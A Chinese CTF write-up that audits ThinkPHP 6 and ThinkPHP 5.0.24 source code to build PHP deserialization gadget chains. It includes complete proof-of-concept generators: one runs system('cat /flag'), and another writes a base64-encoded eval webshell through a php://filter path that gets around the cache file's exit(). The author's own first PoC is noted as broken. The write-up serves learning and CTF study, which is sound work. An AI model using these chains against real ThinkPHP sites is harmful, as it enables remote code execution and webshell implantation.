[安洵杯 2019]iamthinking

  • thinkphp6 序列化反序列化漏洞

/public
发现有www.jpg,所以就试着会不会有源码泄露,直接访问www.zip得到源码

0x01:
app/controller/index.php里面发现反序列化函数,那么有可能可以利用
在这里插入图片描述
之后就可以找一下链子,可以从__destruct,__tostring,__call等魔术方法

记录一下:

1.先试一下__destruct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Abstractcache.php

public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}

# Model.php
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}

# Store.php
/**
* 保存session数据
* @access public
* @return void
*/
public function save(): void
{
$this->clearFlashData();

$sessionId = $this->getId();

if (!empty($this->data)) {
$data = $this->serialize($this->data);

$this->handler->write($sessionId, $data);
} else {
$this->handler->delete($sessionId);
}

$this->init = false;
}

看了一圈之后,因为不是很懂namespaceuse关键字的用法,所以先去查了一下

2.再回来看,感觉Abstractcache.php不可利用,所以就先去观察一下Model.php吧,先去跟踪一下save函数

Model/save(),isEmpty函数要求$this->data不为空,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
# 要求$this->data不为空,并且 $this->withEvent为true
return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
# 进入 updateData 所以$this->exits为true

if (false === $result) {
return false;
}

// 写入回调
$this->trigger('AfterWrite');

// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;

return true;
}

跟踪updateData函数,一行一行看过去,可以在 $allowFields = $this->checkAllowFields();跳转到checkAllowFields函数之后可以发现存在我们可控的字符串拼接,也就是说可以利用toString方法

跟踪ModelEvent/trigger函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}

$call = 'on' . Str::studly($event);

try {
if (method_exists(static::class, $call)) {
$result = call_user_func([static::class, $call], $this);
} elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
$result = self::$event->trigger(static::class . '.' . $event, $this);
$result = empty($result) ? true : end($result);
} else {
$result = true;
}

return false === $result ? false : true;
} catch (ModelEventException $e) {
return false;
}
}

在这里我觉得call_user_func([static::class, $call], $this)这段代码有点可疑,但是由于对php一些语法还是不是很理解,比如对这个函数里面的[static::class, $call], $this就不是很理解,然后这里的$call在前面又会有字符串的拼接,所以应该是利用不了的,所以还是直接去找toString方法吧

3.找可利用的__toString

全局搜索toString方法,可以在Collection.phpConversion.php中遇到可以利用的方法,但是在Collection中,函数在进行到toArray之后就停止了,并没有可利用的点,那我们来分析Conversion.php

__toString,跟踪toJson方法,是对数据进行json加密,跟踪toArray

Conversion/toArray,前半段都不会影响什么,直接跟踪appendAttrToArray

1
2
3
4
5
6
7
8
9
10
11
12
13
public function toArray(): array
{
……
……
……
// 追加属性(必须定义获取器)
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name);
# 传入item 以及append中的键 值
}

return $item;
}

Conversion/appendAttrToArray

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected function appendAttrToArray(array &$item, $key, $name)
{
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key, true);
$item[$key] = $relation ? $relation->append($name)
->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key, true);
$item[$key] = $relation ? $relation->append([$attr])
->toArray() : [];
} else {
$value = $this->getAttr($name); # 将值传进去
$item[$name] = $value;

$this->getBindAttr($name, $value, $item);
}
}

Attribute/getAttr,跟踪getData,大概会返回$this->data[$name],直接跟踪getValue

1
2
3
4
5
6
7
8
9
10
11
12
13
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name); # 返回$this->data[$name]
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}

# $name = $name $value = $this->data[$name] $relation = false
return $this->getValue($name, $value, $relation);
}

Attribute/getData,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}

$fieldName = $this->getRealFieldName($name);
# 使得 $fieldName = $name

if (array_key_exists($fieldName, $this->data)) {
# 如果键存在则返回值
return $this->data[$fieldName];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}

throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

Attribute/getRealFieldName

1
2
3
4
5
protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : Str::snake($name);
# 直接返回name
}

Attribute/getValue,可以发现如果$this->withAttr[$fieldName]不是数组的话,就直接进入$closure($value, $this->data);,看注释掉的内容,也可以意识到这里就是可以直接执行代码的地方了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
$method = 'get' . Str::studly($name) . 'Attr';

if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
//$fieldName = a
//withAttr[a] = system
$closure = $this->withAttr[$fieldName];
//value = system(ls,)
$value = $closure($value, $this->data);
……………………

思路总结1:

  1. 先触发Model类的__destruct方法,使得$this->lazySave为true进入save函数
  2. 要求$this->withEvent为false,$this->data不为空,$this->exits为true,进入updateData函数
  3. 直接进入Attribute类的getChangedData函数,会因为之后要去check,所以不能在下一个if语句里return掉,所以返回的$data不能为空,所以要求Attribute里面的$this->force为true,$this->data要有值,进入Model,checkAllowFields函数
  4. 进入if,要求$this->field和$this->schema都为空,在这里$this->table . $this->suffix触发Conversion类的toString方法,所以要求$this->table为true,$this->suffix实例化Conversion
  5. 进入Conversion类,进入toArray函数,进入Attribute类的getAttr函数,传键值,进入getData函数,传入的值不能为空,进入getRealFieldName函数,要求$this->strict为true,使得直接返回$name,然后要在键值要存在于$this->data中,使得直接返回$this->data[$name],最后以$name=$key $value=$this->data[$name] $relation=false进入getValue函数
  6. 进入if,要求$this->withAttr[$name]有值并且不是数组,进入$closure = $this->withAttr[$fieldName];$closure($value, $this->data);进行代码执行

总结2:

Model: $this->lazySave = true; $this->withEvent = false; $this->exits = true; $this->data = []; $this->table = true; $this->suffix = new Conversion(); $this->field = []; $this->schema = [];

Attribute: $this->force = true; $this->data = [$name=>’cat /flag’]; $this->strict = true; $this->withAttr = [$name=>’system’];

poc:(网上的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
namespace think {

use think\model\concern\Attribute;
use think\model\concern\Conversion;
use think\model\concern\RelationShip;


abstract class Model
{
use Conversion;
use RelationShip;
use Attribute;

private $lazySave;
protected $table;
public function __construct($obj)
{
$this->lazySave = true;
$this->table = $obj;
$this->visible = array(array('hu3sky'=>'aaa'));
$this->relation = array("hu3sky"=>'aaa');
$this->data = array("a"=>'cat /flag');
$this->withAttr = array("a"=>"system");
}
}
}

namespace think\model\concern {
trait Conversion
{
protected $visible;
}

trait RelationShip
{
private $relation;
}

trait Attribute
{
private $data;
private $withAttr;
}
}

namespace think\model {
class Pivot extends \think\Model
{
}
}

namespace {
$a = new think\model\Pivot('');
$b = new think\model\Pivot($a);

echo urlencode(serialize($b));
}

poc:(我自己写的 出错了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
namespace think\model\concern {
trait Conversion{

}

trait Attribute{
public function __construct(){
$this->force = true;
$this->data = ['yuer'=>'cat /flag'];
$this->strict = true;
$this->withAttr = ['yuer'=>'system'];
}
}
}

namespace think{
use model\concern\Attribute;
use model\concern\Conversion;
use think\model\concern\Attribute as ConcernAttribute;
use think\model\concern\Conversion as ConcernConversion;

class Model{
use ConcernAttribute;
use ConcernConversion;
public function __construct()
{
$this->lazySave = true;
$this->withEvent = false;
$this->exits = true;
$this->data = ["1"];
$this->table = true;
$this->suffix = new ConcernConversion();
$this->field = [];
$this->schema = [];
}

}
}

namespace {
$a = new think\Model();
echo urlencode(serialize($a));
}

最后生成的payload,注意这里存在parse_url解析漏洞,像之前一样绕过就好了

后记:

总的来说,还是对thinkphp框架不够理解,对namespace和use关键字的运用理解不能

这两天除了这道题,参加的比赛也都要审计大量的代码,感觉头昏脑胀的(悲

代码一看得多了,再加上有些代码还是不能理解透,所以过程中思绪就会有点乱

再努力吧

Thinkphp5.0.24反序列化

Thinkphp5.0.24

0x01:

因为已经知道是反序列化漏洞了,所以直接审计代码吧。一般常用的魔术方法:

1
2
3
4
5
6
7
__construct
__destruct
__toString
__wakeup
__get
__invoke
……

所以我们可以先自行全局搜索一下可用的魔术方法

1.__destruct

一共搜到四个,暂时发现可利用的有一个Windows.php里面的存在可触发toString的点,那就先直接从这里开始

首先是__destruct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function __destruct()
{
$this->close(); # 关闭文件
$this->removeFiles(); # 删除文件
}

# removeFiles
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) { # 可以触发toString
@unlink($filename);
}
}
$this->files = [];
}

img

那之后可以去找一下toString方法

2.__toString

因为前面审计了6.x的反序列化漏洞,所以再找到Model类的时候就直接看了,继续跟踪函数

toArray

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];

$data = array_merge($this->data, $this->relation); # 合并两个数组

// 过滤属性
if (!empty($this->visible)) { # 如果$this->visible不为空
# 如果是比较简单的格式则只会返回值,若值是数组则返回键,若是a.b的格式,会返回a ($this->visible的内容)
$array = $this->parseAttr($this->visible, $visible);
# array_intersect_key 使用键名比较计算数组的交集 返回前面数组的内容
# array_flip 交换数组中的键和值
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
# 比较两个数组的差值
$data = array_diff_key($data, array_flip($array));
}

foreach ($data as $key => $val) { # 遍历
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
# 再执行一边toArray 在思考elseif里面可以不可以触发__call魔术方法
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性 直接返回$this->data
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) { # 如果$this->append不为空
foreach ($this->append as $key => $name) { # 遍历
if (is_array($name)) { # 如果是数组
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false); # 直接返回$name
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation(); # 执行$name函数 返回一个类 $this->error
$value = $this->getRelationData($modelRelation); # 返回$this->parent
# Output

if (method_exists($modelRelation, 'getBindAttr')) { # 类里面要存在getBindAttr方法
$bindAttr = $modelRelation->getBindAttr(); # 执行 返回一个数组
if ($bindAttr) { #$this->bindAttr = ['aaa']
foreach ($bindAttr as $key => $attr) { # 遍历
$key = is_numeric($key) ? $attr : $key; # 判断
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
# 不要存在
# $value有值然后直接执行方法 getAttr方法并没有什么特点,但是可以在这里利用
# 然后调用__call方法(Output)
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
# 要求$this->parent为true,且为非自关联 要求(Query)$this->model=(Model)$this->parent 然后直接返回$this->parent
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}

3.__call

OutPut类找到可能可以利用的,其他的都较难利用

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __call($method, $args)
{# method=getAttr args=$attr
if (in_array($method, $this->styles)) {# $this->styles = ['getAttr']
array_unshift($args, $method); # 在数组$args前面插入$method
return call_user_func_array([$this, 'block'], $args); # 这个类里的block方法
}

if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}

可以对block方法进行追踪,这里要知道$method=getAttr $args=$key(前面调用的 所以第二个if语句是不可利用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function block($style, $message)
{# style=getAttr $message=$attr
$this->writeln("<{$style}>{$message}</$style>");
}

public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}

public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}

# 直接在这里搜索write的定义的时候会转到Console类里面的,但是追踪之后会发现没有任何可以利用的点,而这里的$this->handle是我们可随意改变的,所以我们可以直接全局搜索是否有可利用的write方法

可以在Memcache中找到至少是我们可以利用的write

1
2
3
4
public function write($sessID, $sessData)
{# $sessID=$attr $sessData=false
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}

直接搜索可利用的set方法,找了一圈下来发现set犯法都是三个参数,但是php是不在乎参数多少的

img

File类中找到似乎可以利用的file_put_contents,而data拼接里面存在exit,这种类型的以前是遇到过的,直接在filename那里用php伪协议绕过就好了,而同时要把我们要写入的一句话进行base64加密,同时不能让数据被压缩,所以$this->options['data_compress']要为false,然后只要文件写入成功了就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public function set($name, $value, $expire = null)
{# $name=$attr $value=false $expire=0
if (is_null($expire)) { # $expire=0
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
# $name可控 getCacheKey对$name进行md5加密,然后加上php后缀并创建文件目录
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value); # 第一遍中的value不可控 由第二次为 PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data); # 可以利用php伪协议绕过exit
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}

protected function getCacheKey($name, $auto = false)
{
$name = md5($name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php';
$dir = dirname($filename);

if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename;
}

protected function setTagItem($name)
{
if ($this->tag) {# $this->tag可控
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0); # 第二次进入get $value=$name 可控 所以要把要写入的内容也直接写进$path中
}
}

思路整理:

1.首先从Windows类的__destruct方法开始,调用removeFiles方法,当对$this->files进行file_exits进行判断的时候触发toString方法

2.在Model类中找到toString方法,依旧是json调用toArray ,在这里可以实现对__call方法的调用,要求this->append数组不为空,并且数组里面的值不能是数组的类型,也不能存在.,在执行值所代表的方法的时候会返回一个类且这个类里面存在getBindAttr这个方法,而后面还有value=new Output(),所以 append[]=’getError’ this->error= OneToOne和Query的子类; this->parent=new Output();(Query)this->model = new Output();

这里出现了一个矛盾,我们要求modelRelation 可以调用 getBindAttr,那modelRelation 最好是OneToOne,但是在getRelationData方法中我们要利用modelRelation 去调用model方法,而此时要用Query类,那么只能找OneToOne和Query的子类的

3.Output里面的__call方法,要求this->styles = [‘getAttr’]; this->handle=new Memcache();

4.Memcache类中的write方法,this->handle=new File();从而调用File类里面的set方法,this->options[‘cache_subdir’]=false;this->options[‘prefix’]=false;$this->options[‘path’]=(php伪协议);this->options[‘data_compress’]=false;

网上找的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<?php
namespace think\process\pipes {
class Windows {
private $files = [];

public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}

namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}

namespace think\db {
class Query {
protected $model;

function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}

}
}
namespace think\session\driver {
class Memcached
{
protected $handler;

function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}

namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;

function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php', // $_POST['ccc']
'data_compress' => false,
];
$this->tag = 'xxx';
}

}
}

namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo serialize($window);
echo base64_encode(serialize($window));
}